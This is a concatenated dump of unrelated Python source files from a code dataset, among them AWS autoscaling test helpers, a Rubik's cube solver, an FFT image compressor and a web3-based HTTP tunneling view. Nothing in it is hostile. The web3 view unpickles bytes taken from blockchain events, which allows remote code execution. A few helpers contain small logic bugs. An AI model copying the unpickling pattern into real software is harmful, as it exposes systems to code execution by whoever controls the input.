'2018: %2.2f %s' % (text_n[0], \"%\"), size='x-large', color='violet')\nax41.text(9.25, -55, '2019: %2.2f %s' % (text_n[1], \"%\"), size='x-large', color='purple')\n\n \n \nax41.tick_params(labelrotation=0)\nax41.set_xticklabels([get_month_name(imonth, length=3) for imonth in np.arange(1,13)])\n \nax41.set_xlabel(\"Time (months)\")\nax41.set_ylabel(\"Days above $\\pm 1\\sigma_{clim}$ (%)\")\n\n\n\n# Show it\nplt.show(block=False)\n","repo_name":"ziu1986/python_scripts","sub_path":"Svanvik/clim_anomalies/precipitation/plot_precipitation.py","file_name":"plot_precipitation.py","file_ext":"py","file_size_in_byte":10402,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37426446950","text":"import os\nimport time\nimport gc\nimport sys\nsys.path.append('../../../../')\nfrom RubikCubeWebApp.solver.deepcubea.scripts.config import Config\n\n\ndef deleteIfExists(filename):\n if os.path.exists(filename):\n os.remove(filename)\n\n\ndef validSoln(state,soln,Environment):\n solnState = state\n for move in soln:\n solnState = Environment.next_state(solnState,move)\n\n return(Environment.checkSolved(solnState))\n\n\ndef runMethods(state, args=Config()):\n \"\"\"\n the pretrained model is used, input the state, output the solution\n :param state: the state of the cube to be solved\n :param args: some configs of model\n :return:\n \"\"\"\n from RubikCubeWebApp.solver.deepcubea.environments.cube_interactive_simple import Cube\n\n Environment = Cube(N=3, moveType=\"qtm\")\n\n useGPU = bool(args.use_gpu)\n\n from RubikCubeWebApp.solver.deepcubea.ml_utils import nnet_utils\n from RubikCubeWebApp.solver.deepcubea.ml_utils import search_utils\n\n gpuNum = 0\n nnet = nnet_utils.loadNnet(args.model_loc, args.model_name, useGPU, Environment, gpuNum=gpuNum)\n\n def heuristicFn_nnet(x):\n nnetResult = nnet(x)\n return nnetResult\n\n stateStr = \" \".join([str(x) for x in state])\n print(stateStr)\n start_time = time.time()\n\n BestFS_solve = search_utils.BestFS_solve([state], heuristicFn_nnet, Environment, bfs=args.bfs)\n isSolved, solveSteps, nodesGenerated_num = BestFS_solve.run(numParallel=args.nnet_parallel,\n depthPenalty=args.depth_penalty, verbose=args.verbose)\n BestFS_solve = []\n del BestFS_solve\n gc.collect()\n\n soln = solveSteps[0]\n nodesGenerated_num = nodesGenerated_num[0]\n elapsedTime = time.time() - start_time\n\n print(soln)\n\n assert (validSoln(state, soln, Environment))\n\n return soln, elapsedTime, nodesGenerated_num\n\n\n\n\n\n\n\n\n\n","repo_name":"DuanXu-97/RubikCube-Web","sub_path":"RubikCubeWebApp/solver/deepcubea/scripts/solveStartingStates.py","file_name":"solveStartingStates.py","file_ext":"py","file_size_in_byte":1886,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"37"} +{"seq_id":"21148716254","text":"class Solution:\n def minBuildTime(self, blocks: List[int], split: int) -> int:\n # Observation: We can represent the time spent building these blocks using a binary tree\n # where each leaf represents time spent on an individual block\n # each node represent the time spent building the blocks in the leaves in\n # its subtree\n\n # A node either has two children (split the work) or no children (leaf, does the work)\n # time(node) = time(node.block), if node is leaf;\n # otherwise = split + max(time(node.left), time(node.right))\n\n # The final value at root (which is the value we need to minimize)\n # is given by:\n # max_{leaf l} split * depth + l.value\n # (this can be proved by structural induction)\n\n # Greedy algorithm: each time picking the node with min priority,\n # then combine them\n # Proof of correctness: by contradiction\n\n # Time Complexity: O(n log n)\n # Space Complexity: O(n)\n\n heap = [block for block in blocks]\n heapq.heapify(heap)\n\n while len(heap) > 1:\n min1, min2 = heapq.heappop(heap), heapq.heappop(heap)\n heapq.heappush(heap, split + max(min1, min2))\n\n return heap[0]\n","repo_name":"nhatsmrt/AlgorithmPractice","sub_path":"LeetCode/1199. Minimum Time to Build Blocks/Solution.py","file_name":"Solution.py","file_ext":"py","file_size_in_byte":1252,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"37"} +{"seq_id":"22965684892","text":"\"\"\"\nHelper functions for EC2 instances, and related resources\nAuthor: Andrew Jarombek\nDate: 4/30/2019\n\"\"\"\n\nimport boto3\nimport botocore.exceptions as awserror\n\nec2 = boto3.client('ec2')\niam = boto3.client('iam')\nautoscaling = boto3.client('autoscaling')\n\n\nclass EC2:\n\n @staticmethod\n def get_ec2(name: str) -> list:\n \"\"\"\n Get a list of running EC2 instances with a given name\n :param name: The name of EC2 instances to retrieve\n :return: A list of EC2 instances\n \"\"\"\n ec2_resource = boto3.resource('ec2')\n filters = [\n {\n 'Name': 'tag:Name',\n 'Values': [name]\n },\n {\n 'Name': 'instance-state-name',\n 'Values': ['running']\n }\n ]\n\n return list(ec2_resource.instances.filter(Filters=filters).all())\n\n @staticmethod\n def describe_instances_by_name(name: str) -> list:\n \"\"\"\n Retrieve descriptions about EC2 instances with a given name.\n :param name: Name of the EC2 instance.\n :return: A list of instance metadata.\n \"\"\"\n ec2_client = boto3.client('ec2')\n response = ec2_client.describe_instances(Filters=[\n {\n 'Name': 'tag:Name',\n 'Values': [name]\n }\n ])\n return response.get('Reservations')[0].get('Instances')\n\n @staticmethod\n def instance_profile_valid(instance_profile_name: str = '', asg_name: str = '', iam_role_name: str = '') -> bool:\n \"\"\"\n Prove that an instance profile exists as expected\n :param instance_profile_name: Name of the Instance Profile on AWS\n :param asg_name: Name of the AutoScaling group for instances on AWS\n :param iam_role_name: Name of the IAM role associated with the instance profile\n :return: True if the instance profile exists as expected, False otherwise\n \"\"\"\n\n # First get the instance profile resource name from the ec2 instance\n instances = EC2.get_ec2(asg_name)\n\n try:\n instance_profile_arn = instances[0].iam_instance_profile.get('Arn')\n except IndexError:\n return False\n\n # Second get the instance profile from IAM\n instance_profile = iam.get_instance_profile(InstanceProfileName=instance_profile_name)\n instance_profile = instance_profile.get('InstanceProfile')\n\n # Third get the RDS access IAM Role resource name from IAM\n role = iam.get_role(RoleName=iam_role_name)\n role_arn = role.get('Role').get('Arn')\n\n return all([\n instance_profile_arn == instance_profile.get('Arn'),\n role_arn == instance_profile.get('Roles')[0].get('Arn')\n ])\n\n @staticmethod\n def launch_config_valid(launch_config_name: str = '', asg_name: str = '', expected_instance_type: str = '',\n expected_key_name: str = '', expected_sg_count: int = 0,\n expected_instance_profile: str = '') -> bool:\n \"\"\"\n Ensure that a Launch Configuration is valid\n :param launch_config_name: Name of the Launch Configuration on AWS\n :param asg_name: Name of the AutoScaling group for instances on AWS\n :param expected_instance_type: Expected Instance type for the Launch Configuration instances\n :param expected_key_name: Expected SSH Key name to connect to the instances\n :param expected_sg_count: Expected number of security groups for the instances\n :param expected_instance_profile: Expected instance profile attached to the instances\n :return: True if its valid, False otherwise\n \"\"\"\n try:\n instance = EC2.get_ec2(asg_name)[0]\n security_group = instance.security_groups[0]\n except IndexError:\n return False\n\n lcs = autoscaling.describe_launch_configurations(\n LaunchConfigurationNames=[launch_config_name],\n MaxRecords=1\n )\n\n launch_config = lcs.get('LaunchConfigurations')[0]\n\n return all([\n launch_config.get('InstanceType') == expected_instance_type,\n launch_config.get('KeyName') == expected_key_name,\n len(launch_config.get('SecurityGroups')) == expected_sg_count,\n launch_config.get('SecurityGroups')[0] == security_group.get('GroupId'),\n launch_config.get('IamInstanceProfile') == expected_instance_profile\n ])\n\n @staticmethod\n def autoscaling_group_valid(asg_name: str = '', launch_config_name: str = '', min_size: int = 0,\n max_size: int = 0, desired_size: int = 0, instance_count: int = 0) -> bool:\n \"\"\"\n Ensure that the AutoScaling Group for a web server is valid\n :param asg_name: Name of the AutoScaling group for instances on AWS\n :param launch_config_name: Name of the Launch Configuration on AWS\n :param min_size: Minimum number of instances in the auto scaling group\n :param max_size: Maximum number of instances in the auto scaling group\n :param desired_size: Desired number of instances in the auto scaling group\n :param instance_count: Expected actual number of instances in the auto scaling group\n :return: True if its valid, False otherwise\n \"\"\"\n\n asgs = autoscaling.describe_auto_scaling_groups(\n AutoScalingGroupNames=[asg_name],\n MaxRecords=1\n )\n\n try:\n asg = asgs.get('AutoScalingGroups')[0]\n except IndexError:\n return False\n\n return all([\n asg.get('LaunchConfigurationName') == launch_config_name,\n asg.get('MinSize') == min_size,\n asg.get('MaxSize') == max_size,\n asg.get('DesiredCapacity') == desired_size,\n len(asg.get('Instances')) == instance_count,\n asg.get('Instances')[0].get('LifecycleState') == 'InService',\n asg.get('Instances')[0].get('HealthStatus') == 'Healthy'\n ])\n\n @staticmethod\n def autoscaling_schedule_valid(asg_name: str = '', schedule_name: str = '', recurrence: str = '',\n max_size: int = 0, min_size: int = 0, desired_size: int = 0) -> bool:\n \"\"\"\n Make sure an autoscaling schedule exists as expected\n :param asg_name: The name of the autoscaling group the schedule is a member of\n :param schedule_name: The name of the autoscaling schedule\n :param recurrence: When this schedule recurs\n :param max_size: maximum number of instances in the asg\n :param min_size: minimum number of instances in the asg\n :param desired_size: desired number of instances in the asg\n :return: True if the schedule exists as expected, False otherwise\n \"\"\"\n try:\n response = autoscaling.describe_scheduled_actions(\n AutoScalingGroupName=asg_name,\n ScheduledActionNames=[schedule_name],\n MaxRecords=1\n )\n except awserror.ClientError:\n return False\n\n schedule = response.get('ScheduledUpdateGroupActions')[0]\n\n return all([\n schedule.get('Recurrence') == recurrence,\n schedule.get('MinSize') == min_size,\n schedule.get('MaxSize') == max_size,\n schedule.get('Recurrence') == desired_size\n ])\n\n @staticmethod\n def load_balancer_target_groups_valid(asg_name: str = '', load_balancer_target_group_names: list = None) -> bool:\n \"\"\"\n Validate the target groups of the load balancer\n :param asg_name: The name of the autoscaling group which uses the load balancer\n :param load_balancer_target_group_names: List of target group names to look for on the load balancer\n :return: True if the target groups are valid, False otherwise\n \"\"\"\n try:\n response = autoscaling.describe_load_balancer_target_groups(AutoScalingGroupName=asg_name)\n except awserror.ClientError:\n return False\n\n load_balancers = response.get('LoadBalancerTargetGroups')\n\n if load_balancer_target_group_names is None or len(load_balancer_target_group_names) == 0:\n return len(load_balancers) == 0\n else:\n for index, target_group in enumerate(load_balancer_target_group_names):\n if not load_balancers[index].get('State') == 'InService' or \\\n f'targetgroup/{target_group}' not in load_balancers[index].get('LoadBalancerTargetGroupARN'):\n return False\n\n return True\n","repo_name":"AJarombek/cloud-modules","sub_path":"aws-test-functions/aws_test_functions/EC2.py","file_name":"EC2.py","file_ext":"py","file_size_in_byte":8639,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"14548387064","text":"from cumulusci.core.config import BaseGlobalConfig, BaseProjectConfig, TaskConfig\nfrom cumulusci.core.keychain import BaseProjectKeychain\nfrom cumulusci.tests.util import DummyOrgConfig\n\n\ndef _make_task(task_class, task_config):\n task_config = TaskConfig(task_config)\n global_config = BaseGlobalConfig()\n project_config = BaseProjectConfig(global_config, config={\"noyaml\": True})\n keychain = BaseProjectKeychain(project_config, \"\")\n project_config.set_keychain(keychain)\n org_config = DummyOrgConfig(\n {\"instance_url\": \"https://example.com\", \"access_token\": \"abc123\"}, \"test\"\n )\n return task_class(project_config, task_config, org_config)\n","repo_name":"justindixon/CumulusCI","sub_path":"cumulusci/tasks/bulkdata/tests/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":670,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"37"} +{"seq_id":"27043776096","text":"\"\"\"\nA file implementing classes for supporting infinite terrain generation (with chunks),\nUsing wave function collapse algorithm.\n\"\"\"\nfrom __future__ import annotations\n\nfrom abc import ABC, abstractmethod\nfrom typing import Iterator, Type\nfrom copy import deepcopy\n\nimport pygame as pg\n\nimport wfcollapse as wfc\n\n\nclass MapTileAccess(ABC):\n \"\"\"\n Abstract class for accessing map tiles.\n \"\"\"\n\n @abstractmethod\n def get_tile(self, x: int, y: int) -> wfc.BoardTile[wfc.SuperpositionTile]:\n pass\n\n @abstractmethod\n def set_at(self, x: int, y: int, tile: wfc.SuperpositionTile | set[int]):\n pass\n\n def get_at(self, x: int, y: int) -> wfc.SuperpositionTile:\n if self.get_tile(x, y):\n return self.get_tile(x, y).tile\n\n def get_tiles(self, rect: pg.Rect) -> Iterator[wfc.BoardTile[wfc.SuperpositionTile]]:\n for x in range(rect.left, rect.right):\n for y in range(rect.top, rect.bottom):\n yield self.get_tile(x, y)\n\n def get_similar_neighbours(\n self, tile: wfc.BoardTile[wfc.SuperpositionTile], superposition: int, max_steps: int = 10\n ) -> Iterator[wfc.BoardTile[wfc.SuperpositionTile]]:\n \"\"\"\n Get all tiles that are similar to the given tile using flood iter.\n \"\"\"\n flood_settings = wfc.Flood(tile.x, tile.y, max_steps)\n flood = wfc.FloodIter(flood_settings)\n for pos, move in flood:\n move.all_true()\n if superposition not in self.get_tile(pos[0], pos[1]).tile.superpositions:\n move.all_false()\n continue\n yield self.get_tile(pos[0], pos[1])\n\n\nclass MapChunk(MapTileAccess, ABC):\n \"\"\"\n A class for representing a chunk of the map.\n \"\"\"\n\n def __init__(self, game_map: Map, chunk: tuple[int, int], width: int, height: int,\n default_value: wfc.SuperpositionTile):\n self.game_map = game_map\n self.chunk = chunk\n self.width = width + 1\n self.height = height + 1\n self.default_value = default_value\n self.board = self._create_board()\n self.map_rect = pg.Rect(0, 0, width, height)\n self._collapse = self._create_collapse(self.board)\n\n self.reload_border()\n\n def __str__(self):\n return f\"MapChunk(chunk={self.chunk}, width={self.width}, height={self.height})\"\n\n def __repr__(self):\n return self.__str__()\n\n @abstractmethod\n def _create_collapse(self, board: wfc.Board2d[wfc.SuperpositionTile]) -> wfc.Collapse:\n pass\n\n @property\n def left(self):\n return self.game_map.get_chunk(self.chunk[0] - 1, self.chunk[1])\n\n @property\n def right(self):\n return self.game_map.get_chunk(self.chunk[0] + 1, self.chunk[1])\n\n @property\n def up(self):\n return self.game_map.get_chunk(self.chunk[0], self.chunk[1] - 1)\n\n @property\n def down(self):\n return self.game_map.get_chunk(self.chunk[0], self.chunk[1] + 1)\n\n def _create_board(self) -> wfc.Board2d[wfc.SuperpositionTile]:\n return wfc.Board2d(self.width, self.height, self.default_value)\n\n def collapse(self):\n self._collapse.collapse()\n\n def get_tile(self, x: int, y: int) -> wfc.BoardTile[wfc.SuperpositionTile]:\n return self.board.tile_at(x, y)\n\n def get_tile_border_side(self, x: int, y: int) -> set[int]:\n \"\"\"\n Get the side of the tile border that is closest to the given tile.\n \"\"\"\n ret = set()\n if x == 0:\n ret.add(1)\n elif y == 0:\n ret.add(2)\n elif x == self.width - 1:\n ret.add(3)\n elif y == self.height - 1:\n ret.add(4)\n return ret\n\n def refresh_tile(self, x: int, y: int):\n self.set_at(x, y, self.get_at(x, y))\n\n def reload_border(self):\n for i in range(self.width):\n self.refresh_tile(i, 0)\n self.refresh_tile(i, self.height - 1)\n\n for i in range(self.height):\n self.refresh_tile(0, i)\n self.refresh_tile(self.width - 1, i)\n\n def set_at(self, x: int, y: int, tile: wfc.SuperpositionTile | set[int]):\n if isinstance(tile, set):\n self.board.set_at(x, y, wfc.SuperpositionTile(tile))\n else:\n self.board.set_at(x, y, deepcopy(tile))\n if self.board.tile_at(x, y):\n self._collapse.wave_tile(self.board.tile_at(x, y))\n\n tile_border = self.get_tile_border_side(x, y)\n\n if 1 in tile_border and self.left:\n self.left.set_at(self.width - 1, y, tile)\n if 2 in tile_border and self.up:\n self.up.set_at(x, self.height - 1, tile)\n if 3 in tile_border and self.right:\n self.right.set_at(0, y, tile)\n if 4 in tile_border and self.down:\n self.down.set_at(x, 0, tile)\n\n\nclass Map(MapTileAccess):\n def __init__(self, chunk_width: int, chunk_height: int, default_value: wfc.SuperpositionTile,\n chunk_type: Type[MapChunk]):\n self.chunk_width = chunk_width\n self.chunk_height = chunk_height\n self.map: dict[tuple[int, int], MapChunk] = {}\n self.default_value = default_value\n self.chunk_type = chunk_type\n\n def spawn_chunk(self, chunk_x: int, chunk_y: int):\n self.map[chunk_x, chunk_y] = self.chunk_type(self, (chunk_x, chunk_y), self.chunk_width, self.chunk_height,\n self.default_value)\n\n def calculate_pos(self, x: int, y: int) -> tuple[int, int, int, int]:\n local_x = x % self.chunk_width\n local_y = y % self.chunk_height\n chunk_x = (x - local_x) // self.chunk_width\n chunk_y = (y - local_y) // self.chunk_height\n return chunk_x, chunk_y, local_x, local_y\n\n def get_chunk(self, chunk_x: int, chunk_y: int) -> MapChunk | None:\n if (chunk_x, chunk_y) in self.map:\n return self.map[(chunk_x, chunk_y)]\n\n def get_tile(self, x: int, y: int) -> wfc.BoardTile[wfc.SuperpositionTile]:\n local_x, local_y, chunk_x, chunk_y = self.calculate_pos(x, y)\n\n if (chunk_x, chunk_y) not in self.map:\n self.spawn_chunk(chunk_x, chunk_y)\n return self.map[(chunk_x, chunk_y)].get_tile(local_x, local_y)\n\n def set_at(self, x: int, y: int, tile: wfc.SuperpositionTile | set[int]):\n local_x, local_y, chunk_x, chunk_y = self.calculate_pos(x, y)\n if (chunk_x, chunk_y) not in self.map:\n self.spawn_chunk(chunk_x, chunk_y)\n self.map[(chunk_x, chunk_y)].set_at(local_x, local_y, tile)\n","repo_name":"gresm/pygame-summer-2022","sub_path":"game/tools/wfc_map.py","file_name":"wfc_map.py","file_ext":"py","file_size_in_byte":6555,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"15395072729","text":"from web3 import Web3\nfrom web3.auto import w3\nfrom django.http import HttpResponse\nfrom django.views.decorators.csrf import csrf_exempt\nimport os\nimport json\nimport pickle\nimport json\nfrom dotenv import load_dotenv,find_dotenv\nfrom web3.middleware import geth_poa_middleware\nimport random\nfrom eth_account import Account\n\n#dotenv_path = join(dirname(__file__), '.env')\nload_dotenv(find_dotenv())\nconfig_file = open(\"config.json\")\nconfig_json = json.load(config_file)\ninfura_key = os.environ.get(\"INFURA_KEY\")\nprivate_key_hex = os.environ.get(\"PRIVATE_KEY_HEX\")\ncontract_address = os.environ.get(\"CONTRACT_ADDRESS\")\n# Set up Web3 connection\nw3.middleware_onion.inject(geth_poa_middleware, layer=0)\nweb3 = Web3(Web3.HTTPProvider(\"https://sepolia.infura.io/v3/\"+infura_key)) # Replace with your own RPC endpoint\n\n# Set up contract instance and event filter\n# Replace with your own contract ABI\ncontract_abi = config_json[\"contract_abi\"]\nport = config_json[\"port\"]\ncontract = web3.eth.contract(address=contract_address, abi=contract_abi)\n\naccount = w3.eth.account.from_key(private_key_hex)\n\n\ndef serialize_http_request(http_request):\n serialized_request = {\n 'method': http_request.method,\n 'url': \"http://localhost:\"+str(port)+http_request.path,\n 'headers': dict(http_request.headers),\n 'body': http_request.body.decode('utf-8')\n }\n return pickle.dumps(serialized_request)\n\n\n\ndef createUniqueContext():\n return str(random.randint(1,10000))\n\n\n# Define function to listen to event and process arguments\n#remove csrf checking policy for this function\n@csrf_exempt\ndef forward_to_contract(HTTPReq,path):\n #Pickle the copy of request object without nested object which is of io.BufferReader type\n #jsonHTTPReq = json.dumps(HTTPReq)\n bytesHTTPReq = serialize_http_request(HTTPReq)\n port = HTTPReq.META.get('SERVER_PORT')\n context = createUniqueContext()\n event_filter = contract.events.get_response.create_filter(fromBlock='latest',argument_filters={'context':context})\n tx_hash = contract.functions.request_handler(context,bytesHTTPReq).build_transaction({\n 'gas': 2000000,\n 'gasPrice': web3.to_wei('50', 'gwei'),\n 'nonce': web3.eth.get_transaction_count(account.address)\n })\n signed_tx = account.signTransaction(tx_hash)\n tx_receipt = web3.eth.send_raw_transaction(signed_tx.rawTransaction)\n print(f\"Transaction sent with tx_hash: {tx_receipt.hex()}\")\n while True:\n event_logs = event_filter.get_new_entries()\n for event_log in event_logs:\n bytesHTTPRes = event_log['args'][\"bytesHTTPRes\"]\n actualHTTPRes = pickle.loads(bytesHTTPRes)\n return HttpResponse(content=actualHTTPRes.content, status=actualHTTPRes.status_code, content_type=actualHTTPRes.headers.get('Content-Type'))\n\n \n\n","repo_name":"VaradBelwalkar/tunneling","sub_path":"frontend_server/api/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2763,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"25161591013","text":"#sudo apt update\n#sudo apt full-upgrade\n#sudo apt install sqlite3\n#sqlite3 sensor.db\n#create table distance (id integer primary key autoincrement, dist real)\n#.tables\n\nimport RPi.GPIO as g\nfrom time import sleep, time\nimport sqlite3\ng.setwarnings(False)\ng.setmode(g.BOARD)\nconn=sqlite3.connect('sensor.db')\nc=conn.cursor()\ntrig=5\necho=12\ng.setup(trig,g.OUT,initial=g.LOW) #trig generates waveform that gets reflected and analysed by echo\ng.setup(echo,g.IN)\nwhile True:\n g.output(trig, g.HIGH) #generate waveform\n time.sleep(0.01)\n g.output(trig, g.LOW) #stop\n while g.input(echo)==0: #while echo is analysing input\n start_time=time()\n while g.input(echo)==1:\n end_time=time()\n pulse=end_time-start_time\n dist=round(pulse*17150,2)\n print(dist)\n c.execute(\"Insert into distance(dist) values(?)\", float(dist))\n conn.commit()\n sleep(5)\n","repo_name":"simmiggrwl/Esa-lab","sub_path":"sqlite.py","file_name":"sqlite.py","file_ext":"py","file_size_in_byte":879,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"27186114596","text":"import pandas as pd\n\nchrom_dict = {'NC_003074.8': '3',\n 'NC_003075.7': '4',\n 'NC_003071.7': '2',\n 'NC_003070.9': '1',\n 'NC_003076.8': '5',\n 'NC_000932.1': 'Pt',\n 'NC_037304.1': 'Mt'}\n\ndef blat_parser(filename):\n \n with open(filename) as inf:\n \n columns = ['matches', 'misMatches', 'repMatches', 'nCount', 'qNumInsert', 'qBaseInsert', 'tNumInsert', 'tBaseInsert', 'strand', 'LIMEid', 'LIMEsize', 'qStart', 'qEnd', 'Chr', 'Chr_Size', 'tStart', 'tEnd', 'blockCount', 'blockSizes', 'qStarts', 'tStarts']\n df = pd.DataFrame(columns=columns)\n \n inf = inf.readlines()\n for i in range(5, len(inf)):\n \n l = inf[i].split()\n d = {}\n for j in range(len(l)):\n \n key = columns[j]\n value = l[j]\n \n if key == 'Chr':\n value = chrom_dict[value]\n \n d[key] = value\n print(d)\n \n df.loc[i] = d \n \n return df \n\neu_df = blat_parser('../blat_output/eudicots.psl')\nmono_df = blat_parser('../blat_output/monocots.psl')\n\ndef filter_m(df):\n filter_match = df['misMatches'] == df['LIMEsize']\n df = df.loc[filter_match]\n return df\n\nfilter_m(eu_df)\nfilter_m(mono_df)\n\nseq_dict_eu = {}\nseq_dict_mono = {}\n\ndef seqd(file, seq_dict):\n \n with open(file) as fasta:\n f_data = fasta.readlines()\n\n for f in range(len(f_data)):\n if f_data[f][0] == '>':\n key = f_data[f][1:-1]\n else:\n value = f_data[f][:-1]\n seq_dict[key] = value\n return seq_dict \n \nseqd('../input/eudicots.fasta', seq_dict_eu)\nseqd('../input/monocots.fasta', seq_dict_mono)\n \n \ndef make_txt(file, df, seq_dict):\n \n with open(file, 'a') as outfile:\n\n outfile.write('#LimeID,Chr,Start,Length,Sequence,SequenceType\\n')\n\n for index, row in df.iterrows():\n\n name = row['LIMEid']\n sequence = seq_dict[name]\n \n name = name.split(',')\n name = name[0] + ',' + row['Chr'] + ',' + row['tStart'] + ',' + name[3]\n\n seqtype = row['repMatches'] + '_' + row['strand']\n\n s = name + ',' + sequence + ',' + seqtype + '\\n'\n\n outfile.write(s)\n \nmake_txt('../eudicots.txt', eu_df, seq_dict_eu)\nmake_txt('../monocots.txt', mono_df, seq_dict_mono)\n \n \n","repo_name":"MarySelifanova/PlantLIMEs","sub_path":"scripts/spatial_annotation_pipeline/blat_parser.py","file_name":"blat_parser.py","file_ext":"py","file_size_in_byte":2584,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"43395075503","text":"import math\ns = input()\nq=s.replace(\" \",\"\")\na=len(s)\nb=math.floor(math.sqrt(a))\nc=math.ceil(math.sqrt(a))\nstr=\"\"\nd=0\nj=0\nfor i in range(0 ,c):\n j=i\n while(j RCJSoccerReferee:\n supervisor = MagicMock()\n return RCJSoccerReferee(\n supervisor=supervisor,\n match_time=600,\n progress_check_steps=235,\n progress_check_threshold=0.5,\n ball_progress_check_steps=235,\n ball_progress_check_threshold=0.5,\n team_name_blue=\"Blues\",\n team_name_yellow=\"Yellows\",\n initial_score_blue=0,\n initial_score_yellow=0,\n penalty_area_allowed_time=15,\n penalty_area_reset_after=2,\n match_id=1,\n half_id=1,\n initial_position_noise=0.15,\n )\n\n\ndef test_pack_packet(referee: RCJSoccerReferee):\n assert referee._pack_packet() == b\"\\x00\"\n\n\ndef test_add_initial_position_noise(referee: RCJSoccerReferee):\n position = [0.0, 0.0, 0.0]\n new_position = referee._add_initial_position_noise(position)\n\n assert -0.075 <= new_position[0] < 0.075\n assert -0.075 <= new_position[1] < 0.075\n assert new_position[2] == 0.0\n\n\ndef test_add_event_message_to_queue(referee: RCJSoccerReferee):\n assert referee.event_messages_to_draw == []\n\n for i in range(1, MAX_EVENT_MESSAGES_IN_QUEUE + 1):\n referee.add_event_message_to_queue(str(i))\n assert len(referee.event_messages_to_draw) == i\n assert referee.event_messages_to_draw[-1] == (referee.time, str(i))\n\n referee.add_event_message_to_queue(str(MAX_EVENT_MESSAGES_IN_QUEUE + 1))\n assert len(referee.event_messages_to_draw) == MAX_EVENT_MESSAGES_IN_QUEUE\n assert referee.event_messages_to_draw[-1] == (\n referee.time,\n str(MAX_EVENT_MESSAGES_IN_QUEUE + 1),\n )\n assert referee.event_messages_to_draw[0] == (referee.time, \"2\")\n","repo_name":"robocup-junior/rcj-soccersim","sub_path":"controllers/rcj_soccer_referee_supervisor/referee/tests/test_referee.py","file_name":"test_referee.py","file_ext":"py","file_size_in_byte":1896,"program_lang":"python","lang":"en","doc_type":"code","stars":21,"dataset":"github-code","pt":"37"} +{"seq_id":"71763619948","text":"import imageio\nimport numpy as np \nimport sys\nimport getopt\nimport struct\nfrom scipy.fftpack import fftn, ifftn, fftshift\nfrom PIL import Image\nimport matplotlib.pyplot as plt\nfrom matplotlib.colors import LogNorm\nfrom Huffman import Huffman\nfrom Byte import Byte\n\ndebug = False\n\ndef compress(image, threshold, outputFile):\n fft_img = fftn(image) #Apply FFT to the original image\n if debug:\n plt.imshow(np.abs(fftshift(fft_img)), cmap='gray', norm=LogNorm(vmin=5))\n plt.show()\n\n threshold = 0.1 * threshold * np.amax(np.abs(fft_img)) #Calculate the threashold\n comp_fft_img = np.where(np.abs(fft_img) > threshold, fft_img, 0) #Values below the threshold will be turn to 0\n \n if debug:\n plt.imshow(np.abs(fftshift(comp_fft_img)), cmap='gray', norm=LogNorm(vmin=5))\n plt.show()\n\n\n huffman = Huffman(comp_fft_img)\n huffman.write(comp_fft_img, outputFile)\n\n\ndef int2byte(num, signed=True, size=4):\n return num.to_bytes(size, byteorder='big', signed=signed) #Convert an integer to bytes\n\ndef byte2int(fourBytes, signed=True):\n return int.from_bytes(fourBytes, byteorder='big', signed=signed) #Convert bytes to integer\n\ndef float2byte(num):\n return struct.pack('\\t\\tcompress the image')\n print('-o \\t\\toutput file for the compression')\n print('-d \\t\\tdecompress the image')\n print('-t \\t\\tthreshold for the FFT compression, default value is 0.01')\n sys.exit(0)\n\nif __name__ == \"__main__\":\n progname = sys.argv[0] #Get the program name\n opts, args = getopt.getopt(sys.argv[1:], 'hc:o:d:t:s') #Get program options\n\n #Set default options, and auxiliar variables\n inputFile = None\n outputFile = None\n isCompress = False\n isDecompress = False\n threshold = 0.01\n\n for opt, arg in opts:\n if(opt == '-c'):\n inputFile = imageio.imread(arg)\n isCompress = True\n elif(opt == '-t'):\n threshold = float(arg)\n elif(opt == '-o'):\n #outputFile = open(arg, 'wb')\n outputFile = arg\n elif(opt == '-d'):\n inputFile = arg\n isDecompress = True\n elif(opt == '-h'):\n print_help(progname)\n elif(opt == '-s'):\n debug = True\n\n if isCompress:\n if outputFile is None:\n print('Output file is not defined! Did you use -o ?')\n sys.exit(1)\n if isDecompress:\n print('The options -c and -d cannot be used in the same time. Is not possible compress and decompress in the same execution!')\n sys.exit(1)\n\n compress(inputFile, threshold, outputFile)\n\n elif isDecompress:\n fft_image = Huffman.read(inputFile)\n image = decompress(fft_image)\n Image.fromarray(image).show()\n","repo_name":"Exilio016/Image-Compression","sub_path":"src/compression.py","file_name":"compression.py","file_ext":"py","file_size_in_byte":5265,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"2638987725","text":"import collections\nimport json\nimport random\nfrom contextlib import contextmanager\nfrom io import BytesIO\n\nimport requests\nimport tqdm\n\nfrom . import color, process\n\n\ndef ufw_set():\n \"\"\"Set UFW rules to only allow incoming and outgoing traffic on interface tun0.\"\"\"\n return process.try_call_multiple(['sudo', 'ufw', '--force', 'reset'],\n ['sudo', 'ufw', 'default', 'deny', 'incoming'],\n ['sudo', 'ufw', 'default', 'deny', 'outgoing'],\n ['sudo', 'ufw', 'allow', 'out', 'on', 'tun0', 'from', 'any', 'to', 'any'],\n ['sudo', 'ufw', 'enable'])\n\n\ndef ufw_reset():\n \"\"\"Reset UFW rules.\"\"\"\n return process.try_call_multiple(['sudo', 'ufw', '--force', 'reset'],\n ['sudo', 'ufw', 'default', 'deny', 'incoming'],\n ['sudo', 'ufw', 'default', 'allow', 'outgoing'],\n ['sudo', 'ufw', 'enable'])\n\n\n@contextmanager\ndef download(url, chunk=True, verbose=True):\n \"\"\"Download the content of the given url and returns it in a StringIO object.\"\"\"\n if verbose:\n print('Retrieving {0}'.format(url))\n\n try:\n response = requests.get(url, stream=True)\n except Exception:\n print('No connection...')\n return\n\n out_handle = BytesIO()\n content_length = response.headers.get('Content-Length')\n if 